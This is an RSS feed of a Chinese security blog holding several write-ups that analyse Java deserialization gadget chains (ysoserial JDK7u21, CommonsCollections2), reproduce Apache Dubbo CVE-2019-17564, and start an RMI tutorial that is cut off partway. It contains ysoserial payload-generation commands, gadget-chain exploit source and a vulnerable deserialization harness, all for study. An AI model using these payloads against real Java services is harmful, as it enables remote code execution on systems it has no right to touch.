<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ysoserial &#8211; ChaBug安全</title>
	<atom:link href="/tags/ysoserial/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 30 Jul 2020 04:56:44 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Ysoserial JDK7u21</title>
		<link>/audit/1799.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 10 Jun 2020 03:21:11 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jdk]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1799</guid>

					<description><![CDATA[0^anything=anything 环境 jdk7u21 ysoserial idea 复现 package ysoserial.mytest; import ysoseria...]]></description>
										<content:encoded><![CDATA[<p>0^anything=anything</p>
<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/jdk" title="jdk" target="_blank">jdk</a></span>7u21 <span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span> idea</p>
<h2>复现</h2>
<p><img src="https://y4er.com/img/uploads/20200610111235.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">package ysoserial.mytest;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("calc");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(calc);//序列化对象
            objectOutputStream.flush();
            objectOutputStream.close();

            byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<h2>分析</h2>
<p>首先简单两行代码<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span></p>
<pre><code class="language-java line-numbers">TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.getOutputProperties();
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200610115520.png" alt="image.png" /></p>
<p>createTemplatesImpl 是使用 <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>ssist 动态的添加的恶意 java 代码，初始化时自动执行，之前的文章中说过，getOutputProperties()中调用newTransformer()<br />
<img src="https://y4er.com/img/uploads/20200610114926.png" alt="image.png" /></p>
<p>调用了getTransletInstance()<br />
<img src="https://y4er.com/img/uploads/20200610115760.png" alt="image.png" /></p>
<p>getTransletInstance()中将恶意字节码加载进来并且new实例，在实例化时rce。<br />
<img src="https://y4er.com/img/uploads/20200610110173.png" alt="image.png" /></p>
<p>现在的问题就是如何<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>自动调用getOutputProperties，把yso的payload抠出来</p>
<pre><code class="language-java line-numbers">    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        return set;
    }
</code></pre>
<p>map先是存了一个<code>f5a5a608=foo</code>，然后f5a5a608值改为TemplatesImpl恶意对象</p>
<p>set对象存放了TemplatesImpl恶意对象和Templates的动态代理对象</p>
<p><img src="https://y4er.com/img/uploads/20200610119092.png" alt="image.png" /></p>
<p>LinkedHashSet继承HashSet，其readObject在HashSet中<br />
<img src="https://y4er.com/img/uploads/20200610113776.png" alt="image.png" /></p>
<p>在该readObjcet中会将反序列化的对象put()放入map中（HashSet本质是HashMap），先添加templates再添加proxy。在put()第二次添加proxy的时候，map中已经有了一个TemplatesImpl<br />
<img src="https://y4er.com/img/uploads/20200610115905.png" alt="image.png" /><br />
所以会拿上一个Entry的key做比较，当key对象相等时新值替换旧值，返回旧值。</p>
<pre><code class="language-java line-numbers">e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k))
</code></pre>
<p>问题就出在<code>key.equals(k)</code>，但是要想进入equals方法需要满足前面的几个短路条件</p>
<ol>
<li>e.hash == hash 为真</li>
<li>(k = e.key) == key 为假</li>
</ol>
<p>e.hash是在生成payload的时候<code>set.add(proxy)</code>计算的，贴一下堆栈</p>
<pre><code class="language-java line-numbers">hashCodeImpl:293, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:351, HashMap (java.util)
put:471, HashMap (java.util)
add:217, HashSet (java.util)
getObject:84, Jdk7u21 (ysoserial.payloads)
rce:21, JDK7u21 (ysoserial.mytest)
main:16, JDK7u21 (ysoserial.mytest)
</code></pre>
<p>在java.util.HashMap#put添加键值的时候会计算对象hash，走了一个hash(key)函数<br />
<img src="https://y4er.com/img/uploads/20200610110429.png" alt="image.png" /></p>
<p>而key此时是proxy动态代理对象，要调用它的hashCode()函数需要走动态代理的invoke接口，当调用方法名为hashCode时，会进入hashCodeImpl()<br />
<img src="https://y4er.com/img/uploads/20200610117633.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }
</code></pre>
<p>这个方法遍历memberValues这个map对象，然后做了</p>
<pre><code class="language-java line-numbers">v += 127 * (key).hashCode() ^ memberValueHashCode(value);
</code></pre>
<p><code>memberValueHashCode()</code>直接返回<code>var0.hashCode()</code>，也就是直接返回原本对象的hashcode，但是还要走一次亦或，所以要让<code>127 * (key).hashCode()=0</code>，而key为<code>f5a5a608</code>，他的hashcode刚好为0，到这里不得不惊叹作者的巧妙。</p>
<blockquote><p>
  拓展: 空字符串和<code>\u0000</code>的hashCode都为0
</p></blockquote>
<p><img src="https://y4er.com/img/uploads/20200610119892.png" alt="image.png" /></p>
<p>e.hash==hash其实就是拿proxy代理的<code>@javax.xml.transform.Templates(f5a5a608=foo)</code>对象的hash和之前计算的自身hash做比较，结果当然为true。</p>
<p><code>(k = e.key) == key</code>拿proxy对象和Templates比较肯定为false。</p>
<p>走到key.equals(k)这一步，也就是<code>proxy.equals(templates)</code>。同理调用proxy的equals函数需要通过invoke接口走<br />
<img src="https://y4er.com/img/uploads/20200610113803.png" alt="image.png" /></p>
<p>然后<br />
<img src="https://y4er.com/img/uploads/20200610113821.png" alt="image.png" /></p>
<p>getMemberMethods()取出两个无参方法<br />
<img src="https://y4er.com/img/uploads/20200610114904.png" alt="image.png" /></p>
<p>在这调用了getOutputProperties()，回到上文的rce流程就串起来了。</p>
<h2>修复</h2>
<pre><code class="language-java line-numbers">    AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; var1, Map&lt;String, Object&gt; var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() &amp;&amp; var3.length == 1 &amp;&amp; var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
</code></pre>
<p>对于this.type进行了校验必须为Annotation.class</p>
<h2>参考</h2>
<ol>
<li>https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ</li>
<li>https://b1ue.cn/archives/176.html</li>
<li>https://xz.aliyun.com/t/6884</li>
<li>https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ysoserial CommonsCollections2 反序列化分析</title>
		<link>/audit/1501.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 20 Apr 2020 04:42:24 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1501</guid>

					<description><![CDATA[复现 JDK8u221，生成反序列化文件 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 calc ...]]></description>
										<content:encoded><![CDATA[<h2>复现</h2>
<p>JDK8u221，生成<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>文件</p>
<pre><code class="language-java ">java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 calc &gt; test.ser
</code></pre>
<p>构造反序列化点</p>
<pre><code class="language-java ">package com.xxe.run;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class CommonsCollections2 {
    public static void main(String[] args) {
        readObject();
    }

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream("web/test.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/bc41003e-a6cc-c25e-afc6-064eb6617479.png" alt="image.png" /></p>
<h2>分析</h2>
<p>gadget chain</p>
<pre><code class="">/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */
</code></pre>
<p><span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>的exp</p>
<pre><code class="language-java ">public Queue&lt;Object&gt; getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue&lt;Object&gt; queue = new PriorityQueue&lt;Object&gt;(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
</code></pre>
<p>反序列化从PriorityQueue开始，进入PriorityQueue的readObject()</p>
<blockquote><p>
  PriorityQueue 一个基于优先级的无界优先级队列。<strong>优先级队列的元素按照其自然顺序进行排序</strong>，或者根据构造队列时提供的 Comparator 进行排序，具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。PriorityQueue 队列的头指排序规则最小的元素。如果多个元素都是最小值则随机选一个。PriorityQueue 是一个无界队列，但是初始的容量(实际是一个Object[])，随着不断向优先级队列添加元素，其容量会自动扩容，无需指定容量增加策略的细节。
</p></blockquote>
<pre><code class="language-java ">private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i &lt; size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}
</code></pre>
<p>既然是一个优先级队列，那么必然存在排序，在heapify()中</p>
<pre><code class="language-java ">private void heapify() {
    for (int i = (size &gt;&gt;&gt; 1) - 1; i &gt;= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size &gt;&gt;&gt; 1;
    while (k &lt; half) {
        int child = (k &lt;&lt; 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right &lt; size &amp;&amp;
            comparator.compare((E) c, (E) queue[right]) &gt; 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) &lt;= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable&lt;? super E&gt; key = (Comparable&lt;? super E&gt;)x;
    int half = size &gt;&gt;&gt; 1;        // loop while a non-leaf
    while (k &lt; half) {
        int child = (k &lt;&lt; 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right &lt; size &amp;&amp;
            ((Comparable&lt;? super E&gt;) c).compareTo((E) queue[right]) &gt; 0)
            c = queue[child = right];
        if (key.compareTo((E) c) &lt;= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}
</code></pre>
<p>两个排序使用选择排序法将入列的元素放到队列左边或右边。那么comparator从哪来？</p>
<p><img src="/wp-content/uploads/2020/04/8b2bb7e0-7cc6-6623-58ba-c5bb444c189a.png" alt="image.png" /></p>
<p>在PriorityQueue中定义了comparator字段</p>
<pre><code class="language-java ">private final Comparator&lt;? super E&gt; comparator;
</code></pre>
<p>在PriorityQueue中有这样一个其构造方法<br />
<img src="/wp-content/uploads/2020/04/63413fbf-eb15-ff1b-ecc3-7cd50027bb97.png" alt="image.png" /></p>
<p>所以可以通过实例化赋值。</p>
<p>为什么要用到PriorityQueue？在之前的cc链分析文章中我们讲过cc链的核心问题是出在<code>org.apache.commons.collections4.functors.InvokerTransformer#transform</code>的反射任意方法调用。我们反序列化时必须自动触发transform()函数，而在<code>org.apache.commons.collections4.comparators.TransformingComparator#compare</code>中调用了这个函数</p>
<p><img src="/wp-content/uploads/2020/04/08abca24-411c-35bb-11ec-d6e4c3c11aa5.png" alt="image.png" /></p>
<p>this.transformer是Transformer类，在exp中承载的就是InvokerTransformer，而TransformingComparator也是比较器，我们可以通过PriorityQueue队列自动排序的特性触发compare()，进一步触发transform()。</p>
<p>小结一下：<br />
1. PriorityQueue队列会自动排序触发比较器的compare()<br />
2. TransformingComparator是比较器并且在其compare()中调用了transform()<br />
3. transform()可以反射任意方法</p>
<p>到目前为止我们可以通过反序列化调用任意方法，但是不能像cc5构造的ChainedTransformer那样链式调用，继续看exp怎么构造的。</p>
<p><img src="/wp-content/uploads/2020/04/04b4d6e0-89ef-1d4d-e177-5bf114f0b1b3.png" alt="image.png" /></p>
<p>向队列中加入两个&#8221;1&#8243;占位然后将第一个元素修改为templates，追溯templates到createTemplatesImpl</p>
<pre><code class="language-java ">public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

public static &lt;T&gt; T createTemplatesImpl(final String command, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory, String template)
    throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

    clazz.makeClassInitializer().insertAfter(template);
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}
</code></pre>
<p>上面这段代码做了以下几件事：<br />
1. 实例化了一个<code>org.apache.xalan.xsltc.trax.TemplatesImpl</code>对象templates，该对象<code>_bytecodes</code>可以存放字节码<br />
2. 自己写了一个<code>StubTransletPayload</code>类 继承<code>AbstractTranslet</code>并实现<code>Serializable</code>接口<br />
3. 获取<code>StubTransletPayload</code>字节码并使用<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>ssist插入<code>templates</code>字节码(Runtime.exec命令执行)<br />
4. 反射设置<code>templates</code>的<code>_bytecodes</code>为包含命令执行的字节码</p>
<blockquote><p>
  javassist是Java的一个库，可以修改字节码。参考 <a class="wp-editor-md-post-content-link" href="https://www.cnblogs.com/rickiyang/p/11336268.html">javassist使用全解析</a>
</p></blockquote>
<p>现在准备好了反序列化的类，上个小结中我们实现了任意方法调用。在看exp中把<code>iMethodName</code>设置为<code>newTransformer</code><br />
<img src="/wp-content/uploads/2020/04/eb9c372c-befc-300d-dbd3-d0b05682e205.png" alt="image.png" /></p>
<p>然后到了<code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer</code><br />
<img src="/wp-content/uploads/2020/04/f8343331-532a-3be3-ea95-f8b3f2f49576.png" alt="image.png" /></p>
<p>跟进getTransletInstance()<br />
<img src="/wp-content/uploads/2020/04/bd584d7b-e9e3-5389-6467-4ac418e6104b.png" alt="image.png" /></p>
<p>根据方法名就能猜出来defineTransletClasses()是通过字节码定义类，然后通过newInstance()实例化，跟进defineTransletClasses()看下</p>
<pre><code class="language-java ">private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount &gt; 1) {
            _auxClasses = new HashMap&lt;&gt;();
        }

        for (int i = 0; i &lt; classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex &lt; 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}
</code></pre>
<p>通过字节码加载<code>StubTransletPayload</code>类，然后实例化<code>StubTransletPayload</code>类对象，在实例化时触发Runtime.exec造成RCE。</p>
<h2>参考</h2>
<ol>
<li>https://xz.aliyun.com/t/1756</li>
<li>https://www.cnblogs.com/rickiyang/p/11336268.html</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Apache Dubbo CVE-2019-17564 反序列化分析</title>
		<link>/audit/1229.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 16 Feb 2020 09:10:48 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[Dubbo]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1229</guid>

					<description><![CDATA[Apache Dubbo HTTP协议中的一个反序列化漏洞（CVE-2019-17564） 漏洞描述 Apache Dubbo支持多种协议,官方推荐使用Dubbo协议。Apache...]]></description>
										<content:encoded><![CDATA[<p>Apache <span class="wpcom_tag_link"><a href="/tags/dubbo" title="Dubbo" target="_blank">Dubbo</a></span> HTTP协议中的一个<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>漏洞（CVE-2019-17564）</p>
<h2>漏洞描述</h2>
<p>Apache Dubbo支持多种协议,官方推荐使用Dubbo协议。Apache Dubbo HTTP协议中的一个反序列化漏洞（CVE-2019-17564），该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后，Apache Dubbo对消息体处理不当导致不安全反序列化，当项目包中存在可用的gadgets时即可导致远程代码执行。</p>
<h2>影响范围</h2>
<p>2.7.0 &lt;= Apache Dubbo &lt;= 2.7.4.1<br />
2.6.0 &lt;= Apache Dubbo &lt;= 2.6.7<br />
Apache Dubbo = 2.5.x</p>
<h2>环境搭建</h2>
<p>Dubbo 需要zookeeper，我采用虚拟机中的docker来搭建zookeeper环境。</p>
<pre><code class="">docker run --rm --name zookeeper -p 2181:2181 zookeeper
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200216174838.png" alt="image" /></p>
<p>查看虚拟机是否开放2181端口</p>
<p><img src="/wp-content/uploads/2020/02/20200216172205.png" alt="image" /></p>
<p>下载官方的Dubbo http样例 https://github.com/<span class="wpcom_tag_link"><a href="/tags/apache" title="apache" target="_blank">apache</a></span>/dubbo-samples/tree/master/<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>/dubbo-samples-http 导入idea</p>
<p>修改Dubbo为有反序列化漏洞的版本，我改为2.7.3</p>
<p><img src="/wp-content/uploads/2020/02/20200216170054.png" alt="image" /></p>
<p>因为Dubbo并没有可用的gadget，我们使用Commons-Collection4.4.0的gadget，所以在pom.xml中加入其依赖。</p>
<pre data-language=XML><code class="language-markup ">&lt;dependency&gt;
    &lt;groupId&gt;org.apache.commons&lt;/groupId&gt;
    &lt;artifactId&gt;commons-collections4&lt;/artifactId&gt;
    &lt;version&gt;4.0&lt;/version&gt;
&lt;/dependency&gt;
</code></pre>
<p>此时我们还要修改spring/http-provider.xml来指定zookeeper的IP</p>
<p><img src="/wp-content/uploads/2020/02/20200216171596.png" alt="image" /></p>
<p>改端口是因为8080端口和Burp的端口冲突了。修改完毕之后，启动HttpProvider。在控制台输出<code>dubbo service started</code>字样即表示启动成功。</p>
<h2>漏洞复现</h2>
<p><span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>生成payload</p>
<pre><code class="">java -jar ysoserial.jar CommonsCollections4 calc &gt; 1.ser
</code></pre>
<p>burp发包</p>
<p><img src="/wp-content/uploads/2020/02/20200216172101.png" alt="image" /></p>
<h2>漏洞分析</h2>
<p>断点 <code>dubbo-2.7.3.jar!/org/apache/dubbo/remoting/http/servlet/DispatcherServlet.class:43</code></p>
<p><img src="/wp-content/uploads/2020/02/20200216172086.png" alt="image" /></p>
<p>跟进到 <code>org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle</code></p>
<p><img src="/wp-content/uploads/2020/02/20200216178969.png" alt="image" /></p>
<p>获取了URI、请求方式和RPC调用的上下文，然后进入handleRequest()</p>
<p><img src="/wp-content/uploads/2020/02/20200216173990.png" alt="image" /></p>
<p>handleRequest()将request请求对象传入一个参数的<code>readRemoteInvocation()</code>，然后将request和<code>request.getInputStream()</code>传入其重载方法两个参数的<code>readRemoteInvocation()</code>，然后创建了ois对象，ois对象中包含了post请求的数据，然后进入<code>doReadRemoteInvocation()</code></p>
<p><img src="/wp-content/uploads/2020/02/20200216177168.png" alt="image" /></p>
<p>到达readObject()，整个过程ois对象没有过滤，而ois中又包含了post报文，导致反序列化漏洞，如果存在可用的gadget，会导致RCE。</p>
<h2>修复建议</h2>
<p>升级Apache Dubbo到最新版本</p>
<h2>参考链接</h2>
<p>https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5<br />
https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html<br />
http://dubbo.apache.org/zh-cn/blog/dubbo-zk.html<br />
<div style="width: 640px;" class="wp-video"><video class="wp-video-shortcode" id="video-1229-2" width="640" height="360" preload="metadata" controls="controls"><source type="video/mp4" src="https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4?_=2" /><a href="https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4">https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4</a></video></div></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		<enclosure url="https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4" length="211669" type="video/mp4" />

			</item>
		<item>
		<title>Java RMI原理及反序列化学习</title>
		<link>/audit/1221.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:16:43 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JRMP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1221</guid>

					<description><![CDATA[RMI 远程方法调用 RMI简介 Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span> 远程方法调用</p>
<h2>RMI简介</h2>
<p>Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。</p>
<p>接口的两种常见实现方式是：最初使用<span class="wpcom_tag_link"><a href="/tags/jrmp" title="JRMP" target="_blank">JRMP</a></span>（Java Remote Message Protocol，Java远程消息交换协议）实现；此外还可以用与CORBA兼容的方法实现。RMI一般指的是编程接口，也有时候同时包括JRMP和API（应用程序编程接口），而RMI-IIOP则一般指RMI接口接管绝大部分的功能，以支持CORBA的实现。</p>
<p>最初的RMI API设计为通用地支持不同形式的接口实现。后来，CORBA增加了传值（pass by value）功能，以实现RMI接口。然而RMI-IIOP和JRMP实现的接口并不完全一致。</p>
<p>更多参考 <a class="wp-editor-md-post-content-link" href="https://www.jianshu.com/p/362880b635f0">JAVA RPC：从上手到爱不释手</a></p>
<h2>RMI架构</h2>
<p>RMI分为三部分<br />
1. Registry 类似网关<br />
2. Server 服务端提供服务<br />
3. Client 客户端调用</p>
<p>实现RMI所需的API几乎都在：<br />
&#8211; <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi：提供客户端需要的类、接口和异常；<br />
&#8211; java.rmi.server：提供服务端需要的类、接口和异常；<br />
&#8211; java.rmi.registry：提供注册表的创建以及查找和命名远程对象的类、接口和异常；</p>
<p>上代码，服务端</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 8989;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);

            // 创建一个服务
            RMIInterface rmiInterface = new RMIImpl();

            // 服务命名绑定
